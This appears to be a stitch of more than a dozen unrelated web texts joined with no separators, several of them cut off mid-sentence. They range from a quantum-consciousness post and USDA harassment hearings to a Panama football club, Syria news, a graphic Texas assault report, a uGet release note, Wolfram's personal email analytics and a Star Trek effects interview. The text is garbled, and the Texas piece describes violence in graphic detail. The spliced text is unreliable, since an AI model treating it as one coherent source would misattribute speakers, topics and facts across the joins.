The reason why I'm relatively qualified here, is that I'm a quantum chemist who studies biochemical systems. In short, I apply quantum mechanics (QM) to figuring out how chemistry works, specifically biochemistry. So I'd hope to know something about the subject. On the other hand I don't really want to appeal to authority alone. (Being somewhat pseudonymous, you've got no real reason to believe in my authority either. But do feel free to ask about quantum chemistry! :) )
"Quantum consciousness"
Is basically what he's talking about. The idea that the workings of the human brain are somehow directly quantum-mechanical. As opposed, I'd guess, to being 'chemical' in nature.
Chopra would count as one of the more high-profile promulgators of this idea, which exists in various forms. The probably best-known advocate (perhaps deserving the credit as 'originator') of this line of thinking is mathematician Roger Pen |
women had even been raped by coworkers, but refused to testify due to the threat of retaliation and having their careers destroyed.”
Rice said her second-line supervisor “repeatedly sexually harassed me” from 2009 through 2011 “and he assaulted me in 2011.” She complained, but that only made things worse.
“I filed a complaint and the instant I filed everything changed,” she said. “Management removed all of my supervisory responsibilities, moved me from my location, and isolated me.”
Chaffetz and Rep. Elijah E. Cummings (Md.), the committee’s ranking Democrat, were adamant in their assurances that the panel would shield employees who report wrongdoing.
“We want to do everything in our power to protect you,” Cummings said.
Often in congressional hearings, committee members who belong to the president’s party will provide cover for presidential appointees whose performance is questioned by the opposition. Democrats offered Joe Leonard Jr., Agriculture’s assistant secretary for civil rights, no such comfort.
Democrats and Republicans grilled Leonard on a 2015 letter to President Obama from Carolyn N. Lerner, head of the Office of Special Counsel. It said Leonard’s office “should set the standard … for creating an environment free of discrimination. Rather than leading this effort,” it continued, Leonard’s office “has an unusually high number of complaints filed against its own leadership.”
I’ve known Leonard for years. He has long history as a civil rights activist. Yet his responses seemed officious and incongruous with Rice’s alarming testimony.
In his opening statement, Leonard said his office has made “significant progress” by cutting civil rights program complaints from four years to 18 months and by working with the Forest Service to strengthen and enhance compliance with sexual-harassment policies. Later, he cited his office’s numerous accomplishments since the 2015 letter and said the department has undergone a “generational change” in civil rights.
That didn’t satisfy Cummings, who said Leonard’s claim of progress was hard to reconcile with the employee’s testimony and complained that his office had not fully responded with information Cummings requested almost a year ago.
“I have been extremely frustrated and disappointed by the response I received from department officials,” Cummings said.
The disparity between Rice’s testimony and that of Agriculture Department officials “sounds like we’re talking about two different worlds,” Cummings said.
In that he included Lenise Lago, the Forest Service deputy chief of business operations. After Rice said the sordid details of her harassment were told to her colleagues, making her life “a living hell,” Rep. Trey Gowdy (R-S.C.) asked Lago why Rice’s story was made public.
“Per our protocol,” Lago said, explaining that should not have happened, “only people involved in the inves …”
Gowdy stopped her.
“I don’t want to be rude,” he said, “but I really don’t give a damn about protocol.”
Leonard’s statistics and Lago’s bureaucratic line about protocol harkened back to testimony by Lesa L. Donnelly, a former Forest Service employee who now is vice president of the USDA Coalition of Minority Employees.
“We have been reporting egregious incidents of sexual harassment, work place violence, discrimination, and reprisal to [Agriculture] Secretary [Tom] Vilsack since 2009 to no avail. …” she said. “I received the same platitude as always, ‘There is zero tolerance for sexual harassment and workplace violence.’ It was lip service.”
The committee members emphasized they have zero tolerance for USDA lip service.
“I want to be absolutely clear, absolutely clear, that any retaliation against any witness before this committee or a victim of sexual harassment is totally, completely unacceptable and gravely concerns the committee,” Chaffetz said. “And I can promise you and assure you that Mr. Cummings and I, as well as members on both sides of this aisle, will fight and push and defend these people who are whistleblowers who are trying to do what is right for the country, trying to do what is right for them personally, and trying to do what is right for their fellow employees.”
Read more:
[Few women fight wildfires. That’s not because they’re afraid of flames.]
[Lawmakers step up pressure on Park Service in sexual misconduct probe]Club Deportivo Árabe Unido is a professional football club located in Colón, Panama that plays in Liga Panameña de Fútbol, the top tier of the Panamanian football pyramid. The club plays its games in Estadio Armando Dely Valdés.
History [ edit ]
The club has been one of the most successful in Panama in recent years, winning 15 titles (more than any other team since 1998) and finishing second five times.
It was founded in 1990 by Arab immigrants to Panama, under the name of Club Atlético Argentina, and experienced immediate success. After climbing the Panamanian league system, in 1994 they took advantage of a split in Panama's governing body to move into the top division. What happened was that a rival league (LINFUNA) formed in opposition to the older, existing top flight (ANAPROF). Árabe Unido was almost immediately successful in LINFUNA, winning both championships that the splinter league held in 1994 and 1995.[1]
Their success continued once they re-entered ANAPROF; at that time, Tauro FC was the dominant team in the league and would win three championships in four years between 1996-2000. The only club to break that string was Árabe Unido, which won the 1998-99 title by beating Tauro 3-0 in the playoff final.
After the league switched to the Aprtura/Clausura format in the 2001 season, Los Arabes really began winning titles. The original plan was for the winners of the Apertura to meet the Clausura in a "Grand Final" that would determine the year's champion. Árabe rendered this unnecessary by winning both tournaments. They claimed a third straight championship in Apertura 2002, although they did lose that year's grand final to Plaza Amador.
El Expreso Azul (as fans also called Árabe Unido) would go on to add further honors by sweeping the 2003 season, then winning back to back titles in Clausura 2008 and Apertura 2009. They have also won titles in Clausura 2010, Apertura 2012, Clausura 2015, Apertura 2015, and most recently Apertura 2016.l[2]
Honours [ edit ]
National titles [ edit ]
1998–99, 2001 Apertura, 2001 Clausura, 2002 Apertura, 2004 Apertura, 2004 Clausura, 2008 Clausura, 2009 Apertura, 2010 Clausura, 2012 Apertura, 2015 Clausura, 2015 Apertura, 2016 Apertura
LINFUNA: 2 (Record)
International titles [ edit ]
UNCAF Interclub Cup: 0
Performance in CONCACAF competitions [ edit ]
CONCACAF Cup Winners Cup: 1 appearance
1996 – Qualifying stage (Central Zone)
CONCACAF Champions' Cup: 1 appearance
2003 – First Round
CONCACAF League: 2 appearance
2017 – Semifinal 2018 – Semifinal
CONCACAF Champions League: 5 appearances
2009–10 – Quarterfinal 2010–11 – Group Stage 2013–14 – Quarterfinal 2015–16 – Group Stage 2016–17 – Quarterfinal
Players [ edit ]
Current squad [ edit ]
As of Clausura 2016[3]
Note: Flags indicate national team as defined under FIFA eligibility rules. Players may hold more than one non-FIFA nationality.
No. Position Player No. Position Player
Retired numbers [ edit ]
21 — Amílcar Henríquez, midfielder (2003–08) — posthumous honour.
Historical list of coaches [ edit ]Another hotfix for A World of Ice and Fire 2.0. This contains all the fixes from 2.1 so only this one is needed.
Extract into your A World of Ice and Fire folder. This should be save game compatible with 2.0.
Changelog below
Changes
Updated The Mountains armour by Kraggrim.
Removed some destructible items.
Removed the 20+ men requirement to raid villages.
Added new loading menu created by patrickokra.
Changed sound files to wav instead of ogg to hopefully alleviate crashes.
Fixes
Fixed some spelling mistakes.
Tidied up several scenes, removed floating objects etc.
Fixed a few more meshes with issues.
Blackfyre is now correctly a bastard sword.
Quest troops should now never die (hopefully).
Ice should now correctly damage Wights and White Walkers.
Adjusted Greywater Watch so the attacking army will not always drown.
Slightly moved the Guildmaster in Winterfell to make him a little more noticeable. Also adjusted player entry points to assist with this.
Fixed issues with building meshes at Flints Finger.
Fixes/Changes to Enlistment - Please report any bugs you get whilst enlisting.
- Added back the option to take a vacation, if your relations with your commander are high enough.
- Fixed glitch where you could enlist and de-enlist to reset all faction relations.
- Fixed factions sometimes declaring wars after you de-enlist.
Fixes from the last hotfix
Version:1.0 StartHTML:000000225 EndHTML:000003958 StartFragment:000003460 EndFragment:000003859 StartSelection:000003460 EndSelection:000003859 SourceURL:http://aworldoficeandfire.co.uk/Forums/index.php?topic=34431.0 Changelog V2.0 hotfix
Changes
Lots of meshes have been modified and optimised by me Kraggrim and Marshal_157.
Updated some Ironborn textures from Kraggrim.
Made raiding parties more aggressive.
Fixes
Fixed issues with meshes.
Removed excess Whitewalker parties that should not have been there.
Arakhs should now correctly block.
You should now be able to engage all bandit parties.AMMAN, Jordan — Forces battling the Islamic State (IS) in Syria seem to be putting a lot of effort into thwarting each other's strategies.
Syrian government troops, backed by allied Iraqi and Iranian militias, are bolstering their control along parts of the Syrian-Iraqi borders. Leaders of the Syrian armed opposition factions who spoke with Al-Monitor confirmed earlier reports that the Syrian government aims to create a land passageway from Iran though Iraq to Syria, to reach Syria's oil-rich Deir ez-Zor, which has been under IS control since 2014.
The leader of Jaish Usud al-Sharqiya, a faction backed by the US-led coalition, accused the United States of “disappointing the rebels and not backing them enough to be able to tighten their grip on the areas" in the Syrian desert they had cleared of IS. Leader Talas Salama (also known as Abu Faisal) told Al-Monitor, “We liberated Rif Dimashq, the eastern part of Suwayda, Daraa countryside and the Damascus-Baghdad highway. But the regime [took] control of the areas that IS was expelled from.”
According to Syrian Central Military Media, which is affiliated with the Syrian regime, the Syrian army and its allies took over the Baghdad-Jordan-Damascus triangle in the Syrian desert on May 12 after defeating Syrian opposition factions. The army's forces also tightened the noose on the Zaza triangle and the town of Sabaa Biyar, which also were under the opposition’s control.
Meanwhile, the Syrian regime was keeping a wary eye on forces participating in the Eager Lion exercises, an annual military drill in Jordan that the United States and some 20 other countries have participated in since 2011. The exercises are designed to build a coalition capable of responding quickly to the threat of terrorism and to face the displacement of refugees. They took place in Jordan's capital Amman on May 7-18.
Abu Faisal sees a connection involving the Eager Lion exercises, the Syrian regime’s fear of a military operation in southern Syria, and the presence of international forces at al-Tanf base, which is an opposition base in Syria adjacent to the eastern Jordanian borders. The anti-terror coalition forces protect al-Tanf base. Faction leaders told Al-Monitor there are 100 British soldiers at the base who train Syrian opposition factions.
On May 18, US-led coalition planes bombed a pro-regime convoy that was heading toward al-Tanf and ignoring warning shots.
“The Syrian regime saw that there were American and British forces in al-Tanf base alongside Jaish Maghaweer al-Thawra and wanted to take a pre-emptive step," Abu Faisal said. "We have information about an Iranian-Russian agreement with the regime to secure the Damascus-Baghdad highway and open a land path for Iran and the Iraqi, Lebanese and Syrian militias through Damascus-Beirut-Baghdad-Iran in return for Russian advancement toward Deir ez-Zor to take over the oil wells.”
Because of the Eager Lion exercises, the Syrian regime and Hezbollah escalated their rhetoric against Jordan. Hezbollah described the maneuvers as “suspicious” on May 9. Syrian Foreign Minister Walid Moallem warned Jordan on May 8, saying, “We are not seeking a confrontation with Jordan, but if Jordanian forces enter our territories without coordination with Damascus, we will consider them adversaries.”
Why was the Syrian regime afraid of the maneuvers, which have taken place in Jordan for seven consecutive years now? Timing is key, military analysts and politicians told Al-Monitor, as the military presence escalates in the Syrian desert.
Amer Sabaileh, a senior political security analyst at Amman-based NAMA Strategic Intelligence Solutions, told Al-Monitor, “The Eager Lions maneuver was different this time, since it coincided with the agreement between Turkey, Iran and Russia during the Astana-4 conference [on May 3 in Kazakhstan] to establish four de-escalation zones, and the nearing settlement of the battle with IS in Raqqa and Mosul.”
Jordanian military expert and retired pilot Mamoun Abu Nowar told Al-Monitor, “The Eager Lion exercises are routine, preset practices, but the Syrian regime was afraid upon seeing the Jordanian, British and American troops. The regime seeks to reach the Iraqi borders near al-Qaim and Deir ez-Zor through its operation in the Syrian desert and was scared the troops would attack it and obstruct this strategic plan that has become much needed.”
Abu Nowar said he expects the "Arab NATO" forces — discussed during the May 21 summit between US President Donald Trump and Arab states in Riyadh — to take control of al-Qaim and Deir ez-Zor (in addition to controlling al-Tanf) in a bid to halt the Iranian threat and establish safe zones in the Syrian territories adjacent to Jordan.
The scenario of the anti-terror coalition forces blocking a land crossing between Iran and Lebanon is possible, according to Abu Nowar, who warned that this “might lead to sectarian wars in the region.”
Analysts say Jordan is concerned that IS, after losing territories it controlled in Iraq and Syria, will retreat to the Syrian-Jordanian borders in the desert adjacent to the Iraqi borders.
Mohammad al-Momani, a spokesman for the Jordanian government, said in a May 8 interview on state TV, “Jordan will take all diplomatic and necessary measures of defense in Syria to protect its borders.” On May 9, pro-regime media outlets broadcast aerial images of British and US military troops amassing near the Jordanian border, toward the Syrian desert.
Syria's former ambassador to Jordan, Bahjat Suleiman, who was expelled from the country in 2014, wrote on Facebook May 13, “Jordan has been notified that the Russian air force will intervene to support the Syrian forces and to destroy the attackers in case of any blunders.”
The final statement of the Arab-Islamic-American summit in Riyadh announced that Arab states are ready to “provide 34,000 soldiers as reserve forces to back the anti-terrorism operations in Syria and Iraq.”
In a December BBC interview, Lt. Gen. Mahmoud Freihat, the chairman of Jordan's Joint Chiefs of Staff, said Jordan was concerned even then about a possible expansion toward Syria of Iraq's Popular Mobilization Units near Tal Afar in northwest Iraq, and the "creation of a land belt connecting Iran to Lebanon.” Both would serve as warnings of Iran's growing threat to Sunni states, especially the Gulf countries, he said.
Jordan and Syria share borders stretching along 378 kilometers (235 miles), and Jordan declared these borders a closed military zone following the June Rukban bombing, when an IS truck exploded, killing 20 people, including seven members of the Jordanian border guard.A top Google executive on Monday insisted that the company's "key" role in developing Britain's electronic commerce sector should be taken into account in the row over its controversial tax arrangements.
According to figures cited by Conservative MP Charlie Elphicke, Google paid only £3.4 million ($5.4 million, 4.2 million euros) in British corporation tax in 2011 on revenues totalling about £2.5 billion, sparking fury in austerity-hit Britain.
But Google's executive chairman Eric Schmidt told BBC Radio 4's World at One programme the company had not acted illegally and had contributed significantly to Britain's economic growth.
Defending the company's tax bill, he said: "Of course that omits the fact that we also hire more than 2,000 employees and are investing heavily in Britain.
"We empower literally billions of pounds of start-ups through our advertising network and so forth. And we're a key part of the electronic commerce expansion of Britain which is driving a lot of economic growth for the country," he added.
Schmidt urged critics to consider the "totality" of the Internet giant's contribution to the economy.
"The fact of the matter is these are the way taxes are done globally," he added.
"I think the most important thing to say about our taxes is that we fully comply with the law."
Google has come under closer scrutiny in several European nations where cash-strapped governments are increasingly wary of being shortchanged on tax revenue.
British lawmakers last year accused the company of being "immoral" during a committee grilling of Matt Brittin, chief executive of Google UK.I'm getting later and later with my Saturday submissions! It didn't help that I am battling the flu to a coughing, aching, stuffy-head feverish standstill at the moment!
Anyhoo, have some Hanukkah goodness with Rarity and Sweetie Belle being taken to the Dreidel cleaners by Pinkie Pie. I made this for the Equestria Daily banner contest, so if Derpy Clause is especially coherent and checks my list twice, this might show up sometime around Hanukkah (That's Dec 20-28 for all you gentiles out there!)
In case you're not familiar, when playing Dreidel, it's customary to make bets with little chocolate coins called Gelt. When you spin the Dreidel, and if it lands on a certain symbol known as Gimel, you win the entire pot in one go! It's sort of like rolling Nat 20s in D&D, except more delicious.
Pinkie Pie seems to be either extraordinarily good at playing Dreidel, or she's utilizing the power of her Pinkie Sense to cheat. Either way, Rarity is not amused!Interesting. I changed my wallpaper to a slideshow of some solid color PNGs I made, made sure I wasn't in Tablet Mode, and made sure both "Automatically pick an accent color from my background" and "Show color on Start, taskbar, and action center" were set in Settings::Personalization::Colors. I then opened up the Performance Options. On my desktop system I do not find that any combination of the Performance Options settings have any effect upon this: I find that in all cases when the wallpaper updates the taskbar color updates as well.
Is this happening to anybody here on desktop computers? Is this happening for anybody here only for Surface 3 (Pros), or is there any other class of afflicted computer?
Interesting data so far. I don't see this myself right now, but perhaps I'm missing something.A pricing record for offshore wind this month won't change Britain's nuclear plans, government sources confirmed.
“We need a diverse energy mix to ensure that demand for energy can always be met, and both nuclear and renewables will play an important role in this for many years to come,” a spokesperson for the U.K. Department for Business, Energy & Industrial Strategy said.
The statement follows widespread speculation about the future of the U.K.’s new nuclear program in the wake of an auction that saw offshore wind prices drop to just £57.50 (USD $76.34) per megawatt-hour.
That’s almost 38 percent below what the U.K. government has agreed to pay for nuclear generation at Hinkley Point C, a contentious 3.2-gigawatt plant slated for construction in Somerset, southwest England.
The project, which has already been criticized for increasing costs, was called into question after the renewables auction result, which awarded 11 competitive projects that ranged from offshore wind to waste-to-energy conversion.
“As renewable energy becomes more affordable, the government’s decision on the new nuclear project may come under additional scrutiny,” Bloomberg reported.
Since Hinkley Point C was approved in September 2015, developer Électricité de France has increased the cost estimate for the project from £18 billion ($24 billion) to more than £20 billion ($27 billion), said Bloomberg.
In contrast, said Giles Dickson, CEO of industry body WindEurope: “Offshore wind has now shown it provides excellent value for taxpayers' money."
“In light of these latest price reductions, we call on the U.K. and other European governments to make ambitious commitments on future deployment volumes for offshore wind. To sustain these cost reductions, the industry needs to be able to plan ahead," said Dickson.
Caught off-guard by the auction result, the nuclear industry hit back against the narrative.
“Reading about how offshore wind is now cheaper than gas and nuclear, you could easily say we should build more offshore wind turbines, turn off the gas taps and tear up the U.K.’s nuclear new build plans,” said Nuclear Industry Association chief Tom Greatrex in a blog post. “But if you care to delve a little further into the subject, then it becomes clear that one technology can’t deliver the U.K.’s future energy needs alone. The U.K. will need the full range of low-carbon technologies to replace ageing infrastructure.”
U.K. grid operator National Grid was planning for nuclear in all future energy scenarios, he said, because of nuclear’s ability to provide baseload power. In 2016, offshore wind generated electricity 36 percent of the time while nuclear had a capacity factor of 77 percent, government figures show.
David Hess, communication manager for the London-based World Nuclear Association, said policymakers should look to support nuclear as well as offshore wind.
“The falling price of offshore wind is fantastic news for climate action and the U.K. public, as well as a great example of what a sustained policy commitment can achieve,” he said.
“It means that the country really has a decent shot at decarbonizing its grid, as long as it sticks with its nuclear new-build program. New nuclear provides a clean, flexible base, making it an ideal partner for renewables.”
If the government supported offshore wind when prices were high, it should do the same for nuclear, said Hess. “Now is not the time to forget the value of a diverse, low-carbon mix."
It remains to be seen whether Hinkley Point C will make it into that mix. The project, based on a French design which has seen cost and schedule overruns in France and Finland, has been beset by other problems.
This month, workers threatened to walk out over a pay dispute. And the BBC slammed plans to dump potentially radioactive waste from dredging works near Hinkley Point’s two existing reactors.In Texas, a 14-year-old girl was raped by a member of her own family and then beaten to induce abortion after he realized she was pregnant. The beating lasted six grueling hours and the teen told police that she was a virgin when she was assaulted. Additionally, reports reveal that the young girl was eight months pregnant when she was attacked.
Now Dallas News reports that the four relatives involved in the induced abortion, Cedric Jones, Sharon Lee Jones, Lonnell McDonald, and Cecila McDonald have been charged with engaging in organized crime. Prior to the beating, Sharon tried to induce abortion by first giving the girl Plan B emergency contraception, multiple does of birth control and cinnamon tablets.
However, when that didn’t work Cecilia held the girl down while Lonnell sat on the girl’s stomach, repeatedly pounced on her abdomen and kicked her multiple times. Apparently Lonnell laughed as he beat her and Cecile told the girl, “You ain’t about to get my kids taken away from me.”
Then, another member of the family, Cedric Jones, walked in on the attack and Lonnell told him “he had already been kicking the “s**t out of the b***h.” Unbelievably, Cedric agreed to dispose of the baby’s body after the miscarriage when Lonnell offered him 25$ to “take care of it.” Originally, the family tried to burn the child’s body on a charcoal grill but when that was unsuccessful, Cedric threw the remains away in a plastic bag.
This attack highlights the importance of laws like the Unborn Victims of Violence Act, which hold criminals accountable when they kill or injure unborn children in violent crimes. Thankfully, under Texas’ 2003 Prenatal Protection Act, the protections of the entire criminal code extend to “an unborn child at every stage of gestation from fertilization until birth.” This means that prosecutors in Texas can bring murder charges against criminals when they kill an unborn child in a violent attack against their mother.
In a separate incident, in 2012, a Texas man was charged with capital murder after he killed his unborn baby by attacking his girlfriend. He was told that he could face the death penalty since Texas law provides that if a murder is committed in the course of committing another felony, it automatically becomes a capital case.
Unfortunately, in states like Colorado where protective laws aren’t in place unborn babies who die in criminal attacks don’t receive the justice they deserve. As LifeNews reported, earlier this year a perpetrator escaped a murder charge after cutting a seven-month-old unborn baby from a woman’s womb in Longmont, Colorado. This is because their state’s criminal law defines a person, when referring to the victim of a homicide, as a “born” and alive human being at the time of the attack.Looking for news you can trust?
Subscribe to our free newsletters.
Lassana Bathily, the Muslim man from Mali who saved the lives of several customers during last week’s hostage situation at a kosher supermarket in Paris, will be awarded French citizenship for his heroic efforts.
The news comes as many, including Israeli Prime Minister Benjamin Netanyahu, have expressed their gratitude to Bathily for his bravery. Nearly 300,000 people signed a petition calling for his citizenship.
On Friday, Bathily, who works as an assistant at the market, risked his own life by ushering a group of customers downstairs and hiding them in the market’s walk-in freezer. Needing to inform police of the situation, he managed to exit through the basement. Once out, however, police ordered him to lie down, in fear Bathily was working with the gunman inside. After he was able to convince authorities he was not working with the gunman, Bathily provided the necessary details and key to the market’s metal blinds, both of which helped rescue the fifteen people hiding in the freezer.
“Yes, I aided Jews,” Bathily said in an interview. “We’re brothers. It’s not a question of Jews, Christians, or Muslims. We’re all in the same boat. We need to help each other to get out of this crisis.”
Bathily has reportedly lived in France since 2006.
Correction: The original version of this post incorrectly stated that Bathily won the Legion d’Honneur.uGet 2.0 was released recently, bringing support for multi-thread downloading and mirrors for the curl plugin, individual download speed limiting, new settings dialog and more.
uGet is an open source download manager which uses aria2 and curl under the hood, available for Linux, BSD, Android and Windows.
The application comes with numerous features such as clipboard monitoring, resumable multi-segment downloads, speed limiting, batch download support, scheduler, download categories, supports multiple protocols including HTTP, HTTPS, FTP, BitTorrent and Metalink and many others.
curl plugin: added support for multi-thread downloading and mirrors;
aria2 plugin:
better BitTorrent and metalink support;
support for JSON-RPC batch request to improve remote aria2 downloading;
support for RPC authorization secret token;
added "split" option to avoid less connections if user specify mirrors;
implemented individual download speed limiting;
reduce start-up time;
added new items to the tray/appindicator menu which allow enabling or disabling the clipboard monitor, set the clipboard monitor to work quietly (start downloads automatically, skipping the properties popup dialog), skip existing URI and more;
implemented multiple wildcards in Sequential Batch;
new settings dialog;
GTK 3.14 fixes;
many other changes and bug fixes - a complete changelog can be found HERE.
While the main reason to use a download manager in the past was to accelerate downloads and that's no longer the case because of today's Internet speeds (well, not for everybody and in such cases, uGet can help), uGet can still prove very useful in various situations - for instance, if you encounter slow mirrors, you can use uGet to download from multiple mirrors.
That's just an example but there are many others, like shutting down the computer after a large download finishes, categorizing the downloads, schedule various download tasks and so on.
Tip: uGet doesn't come with monochrome Ubuntu AppIndicator icons but you add icons for Ubuntu's Ambiance and Radiance themes manually - you'll find the icons along with installation instructions : uGet doesn't come with monochrome Ubuntu AppIndicator icons but you add icons for Ubuntu's Ambiance and Radiance themes manually - you'll find the icons along with installation instructions HERE
Download uGet
Alternatively, Ubuntu / Linux Mint (and derivatives) users can install the latest uGet by adding its official stable PPA. Add the PPA and install uGet using the following commands:
sudo add-apt-repository ppa:plushuang-tw/uget-stable sudo apt-get update sudo apt-get install uget aria2
* The uGet downloads page doesn't provide the latest uGet 2.0 yet, that's why I've used SourceForge for the download link above.Wycliffe, the company dedicated to helping countries translate the Bible into their own languages, announced to their staff that four of their translators were brutally murdered and others injured by militants in the Middle East earlier this month. In the announcement letter, prayer coordinator Mae Greenleaf explained the militants’ raid on their translation office in the Middle East:
Militants killed four national translators and injured several others in a raid on a translation office in the Middle East. They shot and destroyed all the equipment in the office including the Print On Demand (POD) equipment. The invaders burned all the books and other translation materials in the office. Two workers died of gunshot wounds. Two other workers laid on top of the lead translator—saved his life—and died deflecting bludgeoning blows from the radicals’ spent weapons.
Though the militants seemed intent on destroying the translations, the computer hard drives containing the translation work for eight language projects made it out unscathed. The remaining translation team has decided to double their efforts to “translate, publish and print God’s Word for these eight language communities.” Greenleaf goes on to ask for prayer for the surviving translators, and for the attackers:One day I’m sure everyone will routinely collect all sorts of data about themselves. But because I’ve been interested in data for a very long time, I started doing this long ago. I actually assumed lots of other people were doing it too, but apparently they were not. And so now I have what is probably one of the world’s largest collections of personal data.
Every day – in an effort at "self awareness" – I have automated systems send me a few e-mails about the day before. I’ve been accumulating data for years and though I always meant to analyze it I never actually did. But with Mathematica and the automated data analysis capabilities we just released in Wolfram|Alpha Pro, I thought now would be a good time to finally try taking a look – and to use myself as an experimental subject for studying what one might call "personal analytics."
Let’s start off talking about e-mail. I have a complete archive of all my e-mail going back to 1989 – a year after Mathematica was released, and two years after I founded Wolfram Research. Here’s a plot with a dot showing the time of each of the third of a million e-mails I’ve sent since 1989:
The first thing one sees from this plot is that, yes, I’ve been busy. And for more than 20 years, I’ve been sending e-mails throughout my waking day, albeit with a little dip around dinner time. The big gap each day comes from when I was asleep. And for the last decade, the plot shows I’ve been pretty consistent, going to sleep around 3 a.m. ET, and getting up around 11 a.m. (Yes, I’m something of a night owl. The stripe in summer 2009 is a trip to Europe.)
But what about the 1990s? Well, that was when I spent a decade as something of a hermit, working very hard on A New Kind of Science. And the plot makes it very clear why in the late 1990s when one of my children was asked for an example of "being nocturnal" they gave me. The rather dramatic discontinuity in 2002 is the moment when A New Kind of Science was finally finished, and I could start leading a different kind of life.
So what about other features of the plot? Some line up with identifiable events and trends in my life, sometimes reflected in my online scrapbook or timeline. Others at first I don’t understand at all – until a quick search of my e-mail archive jogs my memory. It’s very convenient that I can always drill down and read a raw e-mail. Because as with essentially any long-timescale data project, there are all kinds of glitches (like misformatted e-mail headers, unset computer clocks, and untagged automated mailings) that have to be found and systematically corrected for before one has consistent data to analyze. And before, in this case, I can trust that any dots in the middle of the night are actually times I woke up and sent e-mail (which is nowadays very rare).
The plot above suggests that there’s been a progressive increase in my e-mail volume over the years. One can see that more explicitly if one just plots the total number of e-mails I’ve sent as a function of time:
Again, there are some life trends visible. The gradual decrease in the early 1990s reflects me reducing my involvement in day-to-day management of our company to concentrate on basic science. The increase in the 2000s is me jumping back in, and driving more and more company projects. And the peak in early 2009 reflects with the final preparations for the launch of Wolfram|Alpha. (The individual spikes, including the all-time winner Aug. 27, 2006, are mostly weekend or travel days specifically spent “grinding down” e-mail backlogs.)
The plots above seem to support the idea that "life’s complicated." But if one aggregates the data a bit, it’s easy to end up with plots that seem like they could just be the result of some simple physics experiment. Like here’s the distribution of the number of e-mails I’ve sent per day since 1989:
What is this distribution? Is there a simple model for it? I don’t know. Wolfram|Alpha Pro tells us that the best fit it finds is to a geometric distribution. But it officially rejects that fit. Still, at least the tail seems – as so often – to follow a power law. And perhaps that’s telling me something about myself, though I have to say I don’t know what.
The vast majority of these recipients are people or mailgroups within our company. And I suspect the overall growth is a reflection of both the increasing number of people at the company, and the increasing number of projects in which I and our company are involved. The peaks are often associated with intense early-stage projects, where I am directly interacting with lots of people, and there isn’t yet a well-organized management structure in place. I don’t quite understand the recent decrease, considering that the number of projects is at an all-time high. I’m just hoping it reflects better organization and management....
OK, so all of that is about e-mail I’ve sent. What about e-mail I’ve received? Here’s a plot comparing my incoming and outgoing e-mail:
The peaks in 1996 and 2009 are both associated with the later phases of big projects (Mathematica 3 and the launch of Wolfram|Alpha) where I was watching all sorts of details, often using e-mail-based automated systems.
OK. So e-mail is one kind of data I’ve systematically archived. And there’s a huge amount that can be learned from that. Another kind of data that I’ve been collecting is keystrokes. For many years, I’ve captured every keystroke I’ve typed – now more than 100 million of them:
There are all kinds of detailed facts to extract: like that the average fraction of keys I type that are backspaces has consistently been about seven percent. (I had no idea it was so high!) Or how my habits in using different computers and applications have changed. And looking at the daily totals, I can see spikes of writing activity – typically associated with creating longer documents (including blog posts). But at least at an overall level things like the plots above look similar for keystrokes and e-mail.
What about other measures of activity? My automated systems have been quietly archiving lots of them for years. And for example this shows the times of events that have appeared in my calendar:
The changes over the years reflect quite directly things going on in my life. Before 2002 I was doing a lot of solitary work, particularly on A New Kind of Science, and having only a few scheduled meetings. But then as I initiated more and more new projects at our company, and took a more and more structured approach to managing them, one can see more and more meetings getting filled in. Though my “family dinner stripe” remains clearly visible.
Here’s a plot of the daily average total number of meetings (and other calendar events) that I’ve done over the years:
The trend is pretty clear. And it reflects the fact that in the |
the majority of what we needed to build and I would support with some designs for few sequences also. Most of the Enterprise interiors came from Marc, which was awesome because he is an incredible draftsman and would with ink just sketch out these designs that were so solid we could bring them straight into Maya on an image plane to build directly from. Brian would oversee the whole process and help us really nail the feeling the enterprise. Often the asset team would block something out and see it in shot context all composited together with the plate and the art department was able to go back in and refine the designs further, and we would refine our 3D environments based on these iterations of drawings. This back and forth process would actually empower the modelers, texture artists, lighters (anyone on the sequence really) to also have creative input and pitch their own pieces of design rather than only following a an existing design.
Can you tell us more about the filming of the real sets?
The on-set production team really did some impressive work on the sets, which established a high bar to match to. For example the interior of the Enterprise shots, when they are in the Manual Release Room as the Enterprise tumbles through space, was actually built on a series of gimbals so the entire set would rotate and spin as the actors ran around and interacted with each other. What this did was create a great reference for how we would extend these sets or add to them.
How did you extended and created these sets?
We started simple with drawings. Once we had sketches that were where we wanted it to go, and Peter and Justin were happy, we would break it into basic modeling and start simple. It’s like approaching a painting with broad brush strokes first. A basic layout could start basic comps and help lighting get their thoughts moving. That would often lead to another concept or paint-over to help direct the lighting and mood, and again the back and forth between assets, lighting, and the art department would help refine everything. Seeing the basic first passes go through compositing at such an early stage helped us also see how we could better compliment what was filmed on set. Following the action on sett gave us a great base to work from. This was especially true in areas where the environment was already in motion like the Manual release room. So as the world rotated and Uhura’s hair flew in a new direction we could work with that to add sparks flying in the same direction or little pieces of debris and dust. It was a fun process of trying to see how we could accent a world where the gravity is not normal or consistent. Or as Spock and Bones walked through the temple covered in vines we could sit back and really craft how we wanted the vines to sway as they walked by, or if one would bump their shoulder. It helped us make the environment connect into the storytelling just that much more.
Which interior was the most complicated to created and why?
The most complicated always seems to be the least suspected. And on this film that held true. The corridor that connected the Yorktown and the Enterprise near the beginning of the film was technically simpler than most of our other environments, but artistically ran into some odd hurdles. We started from a great design by Marc and moved quickly through modeling and into lighting. Though, once we starting seeing it composited, we realized that a hallway extending this far is something so rare in the world that it just felt wrong. I remembered a time where I got to visit one of the big aircraft carriers in San Diego and looking down the repeating open bulkheads and seeing a corridor extend for what seemed miles. Standing there in person and seeing something like that with my own eyes felt fake. So the challenge was how do we make what will inherently feel wrong become natural. In the end it came down to some great trickery that our lighter Kevin Couture managed to pull into the scene. He actually pulled in reference from the interior of Bespin in THE EMPIRE STRIKES BACK. So Star Wars helped us make Star Trek all the more awesome.
Can you explain in details about the Marauders design and creation?
The design, modeling, and texturing was handled by the artists at Kelvin Optical, and each studio working with them would look develop them into their pipeline. A credit to Kelvin’s work was how well these fell into look development and quickly filled shots!
How did you handle the lighting challenge for the Marauders?
The more reference you start with the easier it always is moving forward, and since onset there were stand in actors for all the Marauders we had perfect lighting reference to match. This was actually one of the cooler surprises in the making the film. The asset was already really strong from Kelvin, and our look development artist, Jonathan Fleming-Bock, balanced it out really well to survive multiple lighting scenarios. So once our team of lighters hit those shots they all seemed to come together really well. This gave us more time to dig in and have fun with them. Our lighters would really play around with light interaction from explosions and weapon fire or hits. It became more artistic crafting than just tackling them looking real.
Can you explain in details about your work on the forest environment of the planet?
